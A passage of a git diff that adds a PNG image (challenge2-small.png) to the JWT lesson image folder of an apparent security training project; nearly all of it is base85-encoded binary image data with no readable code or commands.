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 literal 0 HcmV?d00001 diff --git a/src/main/resources/lessons/jwt/images/challenge2-small.png b/src/main/resources/lessons/jwt/images/challenge2-small.png new file mode 100644 index 0000000000000000000000000000000000000000..777b5a093721aa430a9f751a37498078511c577a GIT binary patch literal 34371 zcmXt9WmH>Tu%);Zx8kJ~30mBtxO;IcR*D37cP;MjP@uTG6xRYpQwUOAf)s-D?)Tn$ zKTeXBtX!EhGka#wzR~Kca@d&Ump5|zdNE(^!FFlRE!yZx4tgw=I)-NP(dahz$$!FFIuo>WzC?rfk=ytLGWJw z+&Sb8mscX{F9Y4A%q8+NH|13FxR0Nb%2E+&e|S-sed@M%EN)@N0?`{}EQ891TEX_C zBWxY*wXsXtA3?03%IZ3cq4TY8WZcDu=< z7B@?hDza518$c-q1{Gb(jti>%1Ig^bp!;0y3dauZ1 zh6!RxIm&u^@-B8p7gkmhPgVhQ`f)|^zZ*MfA$rF!1}FB=#bXOPi`>+{MUXGkLYDYQ zYubM$s#r#FCmFn0oul7qiJ`@yraHzi5rRx(ygh9>zmH*78h*fuXBqwjZyeEw4iEP6 zII0+Wu$oLT*?2C(kuCuIyY`sidr)mHI|+xrVuPOLBuMLfO|{C6QwTDKSPZ`7o(Q3< zju`W}&WNK;O_JohvbX9!C5dO9rBMg^c5%dCB$&$76^FA3B=9ynsDo)XAH-lYSxWx? zR5@z7@_aceH!lAj$Q<8M$Th$4zM%H483;ww;CrG46=OJ9*vugF{#TSPddd_-*xNKk z4PDdG!Vy`(CE)%dvvlZ)_LJp_9QAIiE)m#NgTE`al8vDM+2vnU+iXqXFbfE|6>OoP zP?$=F*Tfp~_EtTb^c&8P)OUHRoZlOgBtlU&bamwzQe?*(U(fTjNAFIiFU+rvtTg0s zdYpV2&sR-+J1`pVg`$}W@deR`tzzLH+KP!(7HOK2Yz0<+iWvyadBbPV({UTK@_ZUtEQ9Y9UM!pEK5g5z-dZUyR(&rq`<~C(F|#_iqV>wHQKDAewmt5 zcP^hl3-h(KwD9opsq5;-(zB)NxHWrz@Ny!|QjXxY6RNDPu{y4)p!XI2Z`&}&z6;e{ z;?EgcSkRToek*M#dIds>PkEP7Euo0ETD`gT^CN7a`z`v|{uL1>iaq4ZWBc^Vmtz~t zMlu7)+KTQ6n=G55Gxq3o8|V5F9X~%wcV{W5D>EpuXOuKFB$W@S5M83^)Eb4SxQu;i zYNtWDTF^u0CRAVh+I81% z?%2B!?qiDR_Go0&O~@oO?hYb~0S>B2pV5ztAi$nkr3@qNUNJFXI|iM-())43+p&hMnzYC+XUKDpU_1g!=*E5iS{=?}saTCqh3P$M$ym@%1eeUR^LoD;-FUxm`xnqBnq^9zs?W%GYc}MaE!Q)KLNlzFf zqv+f(L$X1>NN@1!TS48v_cuzxWN_Om=49hn2Zxa>5fV0&!NKs@l%9MbC#ooQ6UYSO z)*v-sVssNoY!;;^?58p9`kpJIG-D=y4f|4qt4~Wi)*`}ppoA4nB!ZseTBI{1S&+%2`TmmW z#2=nN*W`=LdN>lOiloX8osD7+AaMkYANGgy#jLYirbJO1E0qAYeW=e zgTi;&sRV3O&|RiaVYUu1>#Dub7M5o@NIchBRWtJT4H@;p_uO|*Pu_y1x(%zsLar9d^Qy}Vv~oA@N% zS4DI2^E(~$v!B*MQFue;>yWptvB+Ahd_V?b<0}|rsq2Z3LoAl45(gdC+9<;|(y7ckWO*?r1i?&jY7$}s>3`+lf7mbd z2sFbVh#k>?1ejalJA;X7?cO6w;AOHCw`!mH8EF~*Or(|i`t@sJQ+4cFKDEfQQj{ms zdBIEfz_PW^MgzZB16JVAPp1 z;x*Zn&O&(ue8cqaqxeHnB+XX7FAc)xm2W`0Mu}ViS5#ZTfm3d3C_S6crS~uL<*Q%8 zF;`CEc<6@a7}4`1%$f#V-y#MYzj>?D7b!pz3vh^9!T89SRC~{gkik}PliwzxmxN%Q zF8W*a@x|ALhi^Zk^(K)@OP>qH$F%U(DZ}`g(iMS(xh;Ux3tLb(oh?;4IR&>}&6xGY1>`Y1i+?z%2O!g&6|>M7duWC#Q#gW{s1{CvOs+FELz zIs+LX=343F^CabiVL2qH>ENo7=A}~ zhkWoc%eGAb0atwjcYL+tF9{P-400L40YcGFzH`ML)R>RK^P3M04}cMXisBmk`Za|R z5v1Yp?5w=3EZn>y6Axx^4uKl?bHC){zlhqe;EjBvRsn(x(pYp| z|8g=qtryg)j=>3oI$ZZ%*T}4gNsVfF0ZfUA5NcdyEz^u{ZH@Q3hcrQVH>G+<=}8M_ zQ$Z=o*zG2op?SlKi@#QQLI$MR0Juocv$~7XUTG~YFGmfM6ic9C(u|L5&i!DjLmT!U z-LF}51r$ur7RCy|LtrvK3^ztxmN5$t^+`rp2;xSc(jI64pJZpBZ_fuEck=MJsgIE+M`R*>p2_v* zJY4$gV&r>G{F;id6zZ)edMXDb3FB1F+@~v3rzg`|6~4{UH*9P*kLRh}+f1JS4w7%NAIl}mH3V+g29`9ErUN%E$_zg|2n;pBclm_ywp+^=HBoqSOx3WK3wrWCA0U}cAX8@@I(7=FD!n- zV3${}fh`-FvTme3oDH1uHMsQKX&%{odn7_#SUfy@A4+XLg!|>YwKBLN5_-LopOnCi zMJPG8wV_Z$iD;Fq(;ghf@g5vukfn{AwsgZDDaS4%5&OgZ6uM^{$fXqsSQNZ{L9^h$x|)79!4W0C&y^00!bEsd|pO+F0aTBh_HLPB?Vln%Hg=L0oqIHJp{iu zhCkk6-JQZ_t?w?=fSv*`WMl*t=VhblqzA5hd$_uP3DtMx_W37Y+i`Sxy#WKT6O)Y% zjPRQL_ZY{FsBcetm(RUbuG2QizHhyi(yPA>H5ZnwRJXZG#tmeFN}s@Ag|fZ=zh3$6 zP?$nCEv|bg4J!(qNnH14MjODjeP;&burGsK@XGUs4ean1C5S3-=X1>$%2iM43va~uYi(oerZmIA%!k)X3Gb289Px2b5x-u z^(}gTGETaiIyozZAx(8>rFHytQA4Y+QQOj<7W96;(aD~>Ff!HbtR9;yyzV`{nwAr> zH%H+nN_+kwZvS=Rr%Pv~xWN$xD+O!YvA;+4c|-% zER@>LJvEV+$5{WRmnXXTtux=Vil(OOD!Z1Y?3o$%v)=sxoQG!(?MXKe_bg%1a#>3Y zxF0+}Hy3@}`NP41`ka5=148xqj7vJVv=ncp&v}@kNbk_~q*~j%r}mV*gTa_TIA1oY zp-5XcVc++{u2+PvQ)#w4*@24F`tgAAsrI2l z{6TQo9Dnvo;Hf#~Zk|*;Vc)yGc9P0-y=MvLzP}D18Xe1k-CaG z2;UjZBi4XOjQ=FZ9^W&GyRf)kh|tW!FN|k@b1}so-`|?ahNTiveG&4iRoZ+w=$CF} z{?%SZIz>>+n1p0rHEDb)adI(v ze9>H(46k*|leYfn3C5`N*shCZlm4Zsw}FAd_IHqkso!cKJV=5ZR<6E#bC_y6N(4BuF{iU{zCG+IQR*7nbL?H?b}HR?5!mo|1&X>R{d(l zYM;t`vsc*rcA)FO)v@2--|DFH!1RLEBN7T6UJ{cT5l%R4ttI~I61))xBKa0 zLK=puDT&^DekaPm=Jo;vY z_b1deSd2PtzJh+EgKUh#O&!}o@s9~2kM+0aT;L-j!0#b8ChJ_AaD&DnqOahF;h|So z@m5z=B$#*a);t$72D zntQ&hIPw(rK$Z|rV@R9$46zAg&1u34zQ9Wd_yZu_muiBVmr{*Lp>QD4BXkAsEhw+M zxco>1Hj(^h6>ga8yr3nOZz0lXaOnP^}eDg}VVG=0G zRvD9H%E5wG1ma>>&0Yq^#%yvl-d>NMzP@M+b?sr5TjQ^s`d>kTJ|e|}GRZzHYqk$h zPQLH%nnS)Ux61wHhJT;adE3j@&Q5P(wPUUoyz59V=Ens5x0D&%Zg%!;CSKT{bXM!I z9Nv$FJDRk3S}T_j!DW|iGD(ebpg@%kT+hdhLDG~(%@IBR{| z?3)L-k^zgnfhTa^^?--G3z0~Fcw%ru=%=+Jh77tq)gnZiO4s;mkp&ujZ;#33|f-%(O|*MBi>-m?2j0JC?&l0n(M(* z-36&f8Mp))#yfc?8Ehk|(1*&P1Bes`+CKb-y?cwI1(K58L1r@rxP3)zJDzCilozGaVB zy?a%Y9al8`u1g83FCSYkFrFS6f==5Yt?w|6-}D7sR#xnMg_ja0z&uwSY5e*hs8_0M zYF5AZUByFQW{f@m3>MVoZNUBkq}YhYbJb$?vRxj<&PwNYYibxHx*6MU)( zsI~-fbd7ETwXf8&xIjyxrUAPx&)4gLVkD-PVo!%^*dpy;T)yzeAlN9SUP^rQRO4?Y zOy9W2G`%zPrAkbHUA>NMAT^GiNFW=X)Lhqc`uT>aE<|HL= zYiox;4|KtE9px-$%kG=j)-Rb_zL$>|YJpqfq^9w_Qnbjm$6OD2f>Qz3IJ(AHj5uOn z1960#UsxVLcG7%gNQpMBQ}Kjyed}k@AOkt@eVH=2KH6CEuAtJd|BP>7*W2VU7AIbdOPbA!EySY_NfH5#s#!d+ zj>>h=fJ3kE_HOpxQu6ojzW^gtbFKOoJ>*raJL=$rVC&J5t>8tNMaSbr^&Q|Nck49l zmUG4Q=(M+USrs}md-%`$EWQ^B!e=Ay#`%6nrhXS#1+f*NGQC!N6a?Rs28cml8`bx> ztQTo|s?7r^!8)5cDas{3qZZ`x%T=ck&7uqt(({TNDx=NEd5fE0qw@f4^j1fHbg3vV zZU40>B6PHo)!t@{C8dvrEoHs%C(fI47i>JtnvnXMZk!Zqi#G(6; zgoIUZtV8_8rog@X`9A0II)XwUfSF-UkeJPK2IZ1GC%*(H(iSFrlAGa>w5(hHy;4M zcsw?peHZo_Aj$S!eb44#k8(8b0-k@oaSiModQNGyhkO^Hj%?5(D&K!=(YnBD(Fp)U>UuC6(>B2v7g(vPc ziA8wl)1dg>FBHVk@s<%~n0U}9JYQji;Z1p+d7A`2skA~Ia;k#U0!6Rv7o!tZD-V1=mPlLoeMXc2weeJ*e^h|DlSI$XF}&NiP`f-3FZg`$YvA#u!kQDjmQE85 zrlD#|2iLfZjkZDw8}!q|HDg*^Tdbw*o35M1=2d*<XDCw6sBjNLDk$}|O9 z@5C<8nk_H!@A@ruyt?-aqC+m!9=+<>)lyS%`)-yom|;REQH0rwsOu7F3361s#p zoc8^~$y^sB)EErdQ<%}yS4gRti4s;rpZRiiGOKu%J}U?-V_|%?v*UhGPV!-hqO)qi z%6&m8`lAB=-PKS4&RhiH7CgD!wS4Yt2{x6?4)JKp#Ked!iARl%Q?79NZhV+lZjr^dmgKX$h-<4Xuc0tygXGq~h(y2XO0Ltyx+~~!I zzb=U@3UGcFS%;>Ut0Nkp?&E=9N4<7(D?rkaMP_F*eKQ!fgoPNQUYs~@X^BoIm~}@Z zzdOZ7Gj?e&UFPHzNv+)U(*jFVX)M zU;fNSZS38*$?*CozJMiVp*+OGPX=8$okc=6Va6Wp`{t(3yNeXN!Y@Gh?^x`tlq75d zhW-s(ACK4wcKBg&JU>}m+R{Q*<1QlGP)jt()|N{t*R1w(3`H>Ve8OhHUT$2f#*@A| zyEkMI*!f5zS8isIZm}wFlO@3!JiZ=Bj~Gr*|L)s6(b*Elf`k&i^~o2FF_+)fNLn^u zq8ddCWOuyFtEC+^H_ zZr=^tv&YW#af|X|l-KZQ9l5R!{~zPKsNL5-{|XWU-_zY`sfs1lv}N0}Gt``3G}{jc zsi>)`^-Z?5v^c8&Yo!&km;Qky)6=t1&WFtSym^~Bm7jBm2uz~XT#we3?=dK}Q&(`?kN`_Dd274$jvTfv{9bwdw6)7h%| zKKEq(e?fK2oI38;_=Ba+s~&p#=J+`Uc2wy|EU7w7yF2NMf3dt%G3CqbH7kjNHE+!x z;8B#JZ{MC{duK22>4(n-psdEIr%YRNS#putPsXcwrpEi!Xv_8`G1OR?w@Gfpk)X{e zm?bxQM;{A65uDycg4@;^;xnI}N7s+FAD$n?jouX03+qa&%=sd%-}BWu0F>+OXrM2R zrh_|>az`mW-M$%1Hg=~WVE1;MF3-u9+Ww@Okhs}CDbjEY*)eZ`E9-Yf}{DNMU~#-_uD zw2pt7H@jEBK6J}YJ$)l6Dc#Y2+T8$7_M@$)Wl`HgTfTdIZgjIju?&M8WAIfG}*HBsVzrZZPoq z3RRBU6;VZH_je^QObcY{YpArr1K6v6cjKA6I}ZH@KdZhu_0(!XOL?uw=U--0+s?tu z&|8jbA8e*|-~<3B+~HcDY}QNl5%%@&E(M-188%INMi{tWf~x8Nn&b0bTOw_qvT7v>+dqk2m_N*$=FTxDp_nY1phHB+$uCC3HX>luX< z-hn`U^Hg$hbi|M`oh{#L@f4%I0c&vI;0UD9t$V)L-PchOzWS!M9o*59#wjNw%hCG} z^RoyeDi_g_Yf=+y3dXO8?wDttU}orsQpp8o5k7(a;b(o4d~3xRIPmU z1`JQCC^{1*b72ry)@#KqW^R3E$;?p-{MsKzvSAmse4(zru${X-l9lUkzk{llVhCrb z-jJG{3kNvOS5D=$AuPLh01Sc4j!Ii5mW{yWIwbLZo~rBgzsag4*FT(c7dr*Hp?D!m z>|Mze4&BkBdFp-tuLa1?CSNmv9G)H0rYSlf4wJf^Treha5PA9DbWy&9rmS9Tb^WW9 zURx2kIiPDl$`%KH6L|c-18`t*S0P=Uoz=xnt~0f@`%nw`y4N0*TV3&@hc4a>pq=Iq zKb>fFUF&G+H@MK()KKWU0JY%7b=~Ptf4F#qqJx2f+5e zS8=;8KY*<7aS`U_P+ocFd$_CX4Xo*P%l4NN;WhMhD`%j?J!yjWzVyIcM)TmC-qajD zkIc}u7d%v4o8s!~oYqzk?o9Uy1(BOu!bi^~2taQXL4}jq_@KF00h~@lcLDJ=KpF!k zCZ-?J2dq6HX*H4xpuzu|IA2&#fxhGP7a+8+2C+CAj%&OA-QkQ<`oFKpH(|fnI94*% z3lyyGtxdP*i)~is%_d`Vl~QSO{KSN(m#!j|R@Bg&KN8`?Iyn-Hy8VbiCNoFeMwTY5 zptvyoj$Fi*a@4PP3E70n>@OBDaNT*r!@iZFVr7=~tVUfQOh890c#D26LP~sNhBXK^ zpI?|*CC0cP)z&qcAgd^ts{cixi5|S~O%yxKJYO@uyJ8KibApPt!7C{t4qae@vrM|3 zgSwiUPU)O!VhV~2)tZ{YDGqW=>lNP`( z>i7E5110D;1^eIM@r^{E8pVbw#DyP5PwJmqFPxV*95gFMW_Ox={UTyH?vdhmhJwdN zhN8s<;$eZXuF?gY=B2+_C_=(r|52mg7S#3*N^qb|o-Ta?aQkPk=``i6ZW(Q4sxS+- zxo2{qwuP=Zno|30)&_8-OQN&)p2L5KHL9qI&2A4X**L-qdwb(u1D~~?;emZqYJry} z0!Ls62Vms+(zFDFneG%LfbAb+p!)ESA96~nWTxTeyGSK_4@Qi>WHs3Fc@ z9ZXcLtw|*cC3L>1i3pHophPxaLK8g!Y?g zrJ6YLr+CP{hi{FtR7se-;^`GCxOsjrYnT?4H!PLcGRXL=U=xmjM}AkPjF&HnJpEoU z3K(`%kI_;S3${oQbg5b7!KiZVA!Rj^_tfPF*fz7D5sf?XkUIGAF)-$}7*8(yYwL1y zb7=ekCT#M$(4>Ss|LW2silsLR*wr@3HmnEdB+<#$FQ^Lta215&W?uYJ7FrX2!|%Wf z0k=&@`fx5AEUc|9RrnkOC?9p)`HfmM`S{syTK4Y8?xfC#z%5DOAo69J-zfN7)k@ph z0qjj|+wc)ie>)Nf`7tX3Oi2Lxy#~(qP%hS53>LMzBrytD9X_tBplDAAitZ%qII~W+P_3BlsNl;km=#NjBe}fChoPF!mriH#*j&N8 zA611<>s7fP-m(lYMJO{&Q+L5`@=;4rtDNrN&dtv&^5vA3Gb~5C884T7Vx|rI45)u7 zPPygcsPB3yR8(^X0`kIyEXOum(q9Fp#@7IGLpSq5aO>8B|70ag*i%em(?TBy*aT$; zDdx1|znw+)ZzqvZG)w%z_l4fC@=4#8N-G9~b0lNF!wq)7ezEG~wSfp!60O>!247IK zk;MKTblFg3s=-$rmLcjXF~%pXiQ+(Y(2(qUmXNK?@x})J|J)e@P{3y1CpR0F2jZ#+bAjwDZ?I`-}^rmc<0Oc_axz` zVw(F)p_rjc6oS0j*VorAAAyPJmH>zj%`2F*uYonDHgv!V%`dqwkwfAk@#5XS8|0~<@14kYXg~v8yH@i4@H^% zFzU!g!6I=UjIKCehxz49Gb(Sccer|Q21k1BOzQ`cnL&x>ZW+l~((6irIWa(^^;3Cn z5aQW(GS0wIy^SJa;! zuUguS_YR%6CQ(E?2$LuOSYw_+vV}EzXGJf49O=d%`uATadn*-w-rIA3%jN z`$?QK6z%wkGHF|~36!)AoJDC0(a|)|Dx(AZFz+6T&oN@}C=^l%GVmNj5@-Ng!{hD z%4Jy-T7R!x>?R*Zd`MQD;XpyG^tA><9esDF+C|LSO3d*$6Sw*Vkvfyr<9p^MvR$f( zf<#IQ46z%5+f5{bkf%iFk;4inVA-d-uS!L}9=H}+TU*nR_~@#H6|RnXE-LPJj!Cf) zF7tZNV_ni95#YGCrv@7>z425OHCw?`wjwFAsQ%&FRJ!?O#kFpqV@g)WPG85-7YB3g zFa`trDvRmgAMY8*GvMN%bKB zvlezep;M@+#%Iz=5{!wkBV9g0{BsY~$@I1!j0S0qbF7T|iz&4v`4x{D!|y-+#$l8$ z3()ig_rq1l9Pr*Yj|@r|IgD4-mPd@Iw0?GX<-W@o5fw#|jVF)a5dbP1&QcpZKv1_- z7_Qk6C96e*sFcaW4Qc$v%rk58B)mCAm=|t43#F@lPrbu-sO!WmIoD8 zH>LRXqK$eaYGy8{hwl5Znl@0@@PZ%`@)`~r+bb)TL;-WSDzhlxVX>sC4~D?m2>hb( z>r%N+621t@OB0&}&!-yUirbrj*rJa+0Hod7$3rg7Bv{lh4`4 zsB4T&cgSY82GU`gQSC}HmfeJ!VCB@FCY;ozs9$Ev^1;8kFfFh-ft%Gtw`f13@N7YE z&<*7~-AIZ0Pg$As&1>P%ZAC*8|91CsGu7ffiueaqfpk87^fGgN@$)3j`So=fHBZu2 z`-p*13MWk)zuld#d|GGm{;Qr$0Sm4)f({b8%Ly^NwDX@Ej*^(AU>A3!vhz@c(Z)C; zGsE4G=*;xWnCvpVC~2t5e}R)sZa*4rxcf;cLBEx%%TGU@m>go+0M1FZPLY{_c3l&0lektc*R6Jm_gyVV^;KQ8&KLk!D*F^elp+*O|HkOtzu>L<%KV6@u@RKgC=zSp;_N<%1S^Q)RN${mM|+%HgZhVgsox=TpoJ!t zpj1Sq>?sV;1QJ+7N|E?`6_a*kpd46QWOlgKUh|NMS^c&)k~q7S0#SE2cY7?ov1;Yr z|N6Sb5Cy&+4AmoTgey%no!MO4l9wgJCCmqHhY+$DestD;P{J4`_y$&_r+6bZZ;jt483#5!Goj2F zgKeN*E z)I*Rdq-?(r-OGlUBh(=o(`rP0Fl{xGkR`T}%fb{oVWv$qi;xi*BhA|Xl>Tfm@w_;ZrQ{W#+H61>Wzx)@V0^47v^PQlaFR_67A2H5teB^A#0b_f{<7`2!9Q=_gw`LV z+`uOW+4BQ@iDh)>^p2f2Yc0rh?1mTW9^eEX>wf4mv-{Efy6=$v+($W;DYAAi+6=tC z9auVkOb2(xTUq)G;&|D5P}FhQR{TZfSuDF-V$b1hAMv|EdeO)3?}gyT?gx5mM^}8Q z*=*;CN82n~&PhuDoG>2Ru?5A_UpVC|u8g1)6D~ix^}3DwVq&_Y$_{RLsol|A%eOw8 zaOmxVe22GC>AL$Exh+>4dEM4t_;O5vE#|+YX1nMtcB}QZ#1Ml~TFD?oOBTluKkS~5 zMDB{Au;z@t7H%IW>=JUVMBkZzDmwi3+6oI~WqioHRN=JKj7`FU#WB0Mh~-X-^agX z3UuG>P+Zs=-`ITEK;1yNN&Gfr z<;!;dZ0oPMH%vw(e3iFrv#wAd&m8LxiYpG9s(K=g*0!(=u`3`8e|RmZ?~+G#J>HBC znF)TGaww=7UtTF&PT-?8grwDiu51V{qEqMaWqiKu?-hz>d??iy5qYHuk`#?BC&5t3>IrzV zTjMhZ7Q3LE@J%isC5YaU{cN*NZFUE3xo-pp^UaWydA<^SP}%zZvPy}dnZ{D%LnFB?&P|vFh@#_M5KU+;fThaYODszI` zp&3Hd;rAHz<)b_iaZdYKu^{i5S^GuZ8v%HE#){dM8PD(XB|Cp9TQ+v#BW~?0c;u*w z@t`(t?*I}9TOkXKE6_ckuv~n&idUu?FW2)5ON75G{DmECb}!|a+BTlcNA2hQiVW25 zyJw{1o;g)sQZD{87WSi%Z^vn!(9w05&M`#+!y#ZV&ui6=CTkd5t(*AeX;f~*(p!mt z)cBbwR@eO<{Ud-A?e_&uujsVXj0#pKyTs1O9la)Owv)}~s`V`?uOn2=HI_|4mhNsb z5&cGI$`QdM-&)8&&h?z?Kf zCR(+M-J&qsu{#SK{wI>mz`Jup{{$+ zF}e9%ubm6HN#k-%%pdE00-B*qUrdFP`^2ws_GvE2p07tz+Ej<%aAhsR**#f_~}cj9eiyB#=oL z@-m)vv0;;q1F>CRq35vl;XA|hw^f!Emrv`XDPC+gS$hdpMm>e8vY$1ZilbKGB4Kzd z@u8{7Z+YI0RwYuVa`m=1HiFfNuvtFgh1CSTcgS?CZYk`l_*nGUOo8QQ4?C5aVwcG& zO_z^bZef1Ic5Eg6*1)W!UaS0P1KytHJo2r?nlUU&^gKVm73OFw&eS3EnnP=L|a^bY;?D&L}I z`*l_af4JrFVR_UGW4QR2R{VKA3f!R zy*3e*HI1;EDu)FVh2AteTl}oG*3c#LS=?`ZA*o-nTRO;hiVX4fs}?{{jV@V_z-aoi@9Xcpb%+iCm9pV&*68 zqvc+=k&=m)l0bEH1NT`F+=z{IT63TQgSxFJp8gauidD0v_T}Fk{)W{#7<=cu?%!{t zn%;TQ9~{ERF4f{ok^AejE~*C>(#KJ(oHN#{MIaPU$ka6cm&t%a!mFtQxI*m zam8l-T(9_oSLEL%!C9aU?Nxfs7OvSp%CB)(oHvF^a~Sk&SP*CVvISrq%Q`73`<`Vo zsh9@YtCuFF_DrQ)`*b0${MeVeOmjT5Dns#W+1KyYB}GL8Uk8X=Q;T&;W8CQ@qgPfK zPu{VXET@sZp%si(+*Vy_6SwDUP9LrjHTw6eq2F{wzVpfS{=GV5 zE}{FcLXfHM;y-Y0rOX;82&sS?%{1Z^NEY5r_rUCluE!gZV|8i_16i4;|Dl=g|E)V! zmq`{@rW}IdK=PVypwa&=H8pBgf4*suDKx*NS0oKe*=Z;O*0V^jv_QSen^mKB@`s^m zjq+X2BztgaCMJbgzjVd;n)1w#zUqpr=sLLQkG;D4o!VOfU#%JWmBgXp!b=AFdi<|_ z`&qw%dR^->tH}l1bR&RUtZ5g|V2Mb-g<*EtgKRb@cFE~5w5cA&&p%`Oc8z_&ym*oY-;y;$QCn0g$ z7t0w}p~sMIf8Ju+(F;>bw0?Zk%(1#NuM{O3E-1&bJWvdTR9M%%kK+2ggd`W>j8z+G z%ih=Xpn?DtZur5Uud^Q?)*|T0?K1Dq6vdj#6fT7Jssd9uI+)5jUc&E0&bR$~TOjX+ zu4F97SZVwiq@{B;>*DFsFyC2_8GP#JDc1#6h*6w}goJdb;#8A1Ctj7Gq- zfc6Il?fHw*2#ORhXx}#ooOJe8+5JaPMHw)>P->60j4R;UN5v8!O-|D0aZxSxph&YI zyWDV`PA7PHR8cuyegN`0XnxE@ro~ap2zaN7GL##Oyrut_C$pO zghYmaGZC|=vupEm_muBpCEwcoq}A81U%ERzd?)j4Am3UD?SVLgMbN|}`}vOa+an&bY(d(W`kLH|x@vh%bmREOk^?L3K^;BrHSLcWp`%D18gMX-F+l8NXlZGH|B)!#D3z|Xq_wQQz zVKy8?{1(|b&lnwKE^bV96G#~20=fD1b3ppn5W~@8qjX4IfD`(XO?(Q$KiZMF7XH^o zIDW5Lu9nt|vbh3A?0SoFVJ>-^MXa1qt*y*d0kn+%>}n^W?;kHUEH* zIgCoq^|%R3;IOVPsqwvxcp-bv9-3+XdGE6S0DhOtU1(EsTzAsN#GggV`;JN)2v1|C z*HyUWs;RCb>ul^ecQW={Wx5Oh1-<#!@m&}B$#>@>mhwJaL=SOW|E~pLr8%Pt7D^9K zQ=|pwH1DVbq*(Kk<*}_onI=O5Kl;R;u-Q;`OD#ESie!ClQO?G1!`fn{#KLd0s8>|CVIp!R!|7hPqM zX-Hi4ag^~)>Qa%6rG8F)4BxM!Vaxd&Mv3s;#s`wP@d)|zEo#pWdy-{$P$#_LY!IY}GMsVCh#IDW@DzH^JK)6;FDW5;!Us%mPuz_V3=AmbCOj!bVF z{g~A#S4w$#^N4eowN|4POcCqGT0^d=l#3mSm_hp4ZPi}HD+U3w9arMsk&Mj8Z`?hvFqq(hKymhSEj z>6Gr47U@pu5GetH`||zW`?>$_=iS|zd1sz^o-^m1abe@Sp&Tcwc2U8>>x2I4h-Yk5 zo5QN9w!M7OMjj zesWBkRdf#c7Z}ap)SM4bThOq%i}`CZX^bE#l|Hr=V*{f6u>{G;epV~uF(-h=Voc@+ z;Vp|&S)=@*Zq@T<93w`SKMF?O>i?r5-_7bpvybg<8_pXc@TCk!A=T2Q#%IhSi5n~> zQ2E`A0WZ?Ut+E$8LBWSbJ5QY{eR4o2^9{HPYx!O2l@CQ3E@u)~5>JU>yf@YesThMU zqSG%OnN`%o7kh<7iH`Wk0)q8zX<{3JSlkYQC~W82}fj4{;BQ2>a>sw~?Whwdwo=F#X_Q zNq@!sj~~qMdg~Rgh!J=77tn|Jl~%3Zkei|XLeQ`ZF@29-oTU9}@SD4T^s~cx`_69p z+3{58Z6~9y#zzc@HJBR_o+j>a2nl@%vK>-ax6@*(hy9!djd$Fhb#{x`d)#)WFX;y?CJzXE-!#k^U|rsfyG=g&PK{*L 